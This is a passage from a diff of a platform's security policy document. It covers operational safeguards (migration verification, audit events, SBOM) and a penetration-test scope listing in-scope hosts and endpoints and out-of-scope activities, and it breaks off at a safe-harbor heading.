- **Branding / infra parametrization** — `BRAND_*` env vars and `scripts/infra-config.mjs` keep
runtime configuration explicit; see `docs/deployment.md`.
- **Migrations** — structural Prisma diff verified via `verify:db-migrate-status`; rollback procedure documented in `docs/operations/database-rollback.md`.
- **Audit chain** — every privileged mutation emits an AuditEvent; the planned HiveGrid hash-chain verifier is the canonical forensics source referenced by [`incident-response.md`](./incident-response.md) once it lands.
- **SBOM** — generated per build; see [`sbom.md`](./sbom.md).
@@ -41,7 +41,7 @@ In-scope assets and out-of-scope assets are the same as the [`pen-test-scope.md`
**Quick reference**:
- **In scope**: `app.<env>.<your-domain>`, `admin.<env>.<your-domain>`, `api.<env>.<your-domain>`, `realtime.<env>.<your-domain>`, public widget bootstraps (`widget.js`, `marketing.js`), embed routes, lead-capture endpoint, public documentation
- **In scope**: `app.<env>.<your-domain>`, `admin.<env>.<your-domain>`, `api.<env>.<your-domain>`, `realtime.<env>.<your-domain>`, the public `widget.js` bootstrap, embed routes, the credentialed native platform-lead endpoint with operator-provided test credentials, retired-capture 410 behavior, and public documentation
- **Out of scope**: production tenants, third-party provider consoles, marketing site, customer-configured destinations, social engineering, DoS / load testing, destructive activity, real-user data exfiltration, public CDN edge-cache attacks
## 5. Safe harbor